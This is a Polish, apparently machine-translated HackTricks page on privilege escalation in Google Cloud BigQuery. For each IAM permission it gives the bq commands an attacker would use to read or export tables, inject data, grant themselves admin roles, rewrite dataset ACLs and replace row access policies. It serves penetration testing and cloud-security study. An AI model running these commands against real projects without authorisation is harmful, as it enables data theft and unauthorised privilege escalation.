GCP - BigQuery Privesc

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

BigQuery

Aby uzyskać więcej informacji na temat BigQuery, sprawdź:

pageGCP - Bigquery Enum

Odczyt tabeli

Odczytanie informacji przechowywanych w tabeli BigQuery może umożliwić znalezienie wrażliwych informacji. Aby uzyskać dostęp do tych informacji, wymagane są uprawnienia bigquery.tables.get, bigquery.jobs.create i bigquery.tables.getData:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Eksport danych

To jest kolejny sposób na dostęp do danych. Eksportuj je do kubełka w chmurze i pobierz pliki z informacjami. Aby wykonać tę czynność, wymagane są następujące uprawnienia: bigquery.tables.export, bigquery.jobs.create i storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Wstawianie danych

Możliwe jest wprowadzenie pewnych zaufanych danych do tabeli Bigquery w celu wykorzystania luki w innym miejscu. Można to łatwo zrobić za pomocą uprawnień bigquery.tables.get, bigquery.tables.updateData i bigquery.jobs.create:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Atakujący mógłby wykorzystać to uprawnienie, aby przyznać sobie dalsze uprawnienia do zbioru danych BigQuery:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Tylko ta uprawnienie pozwala aktualizować dostęp do zbioru BigQuery, modyfikując listy kontroli dostępu (ACL), które określają, kto może uzyskać do niego dostęp:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>

bigquery.tables.setIamPolicy

Atakujący mógłby wykorzystać to uprawnienie do nadania sobie dalszych uprawnień do tabeli BigQuery:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Zgodnie z dokumentacją, przy wymienionych uprawnieniach możliwe jest aktualizowanie polityki wiersza. Jednakże, przy użyciu polecenia bq wiersza polecamy dodatkowe uprawnienia: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("user:user@email.xyz") FILTER USING (term = "Cfba");' # A example filter was used

Możliwe jest znalezienie identyfikatora filtru w wyniku wyliczenia polityk wiersza. Przykład:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated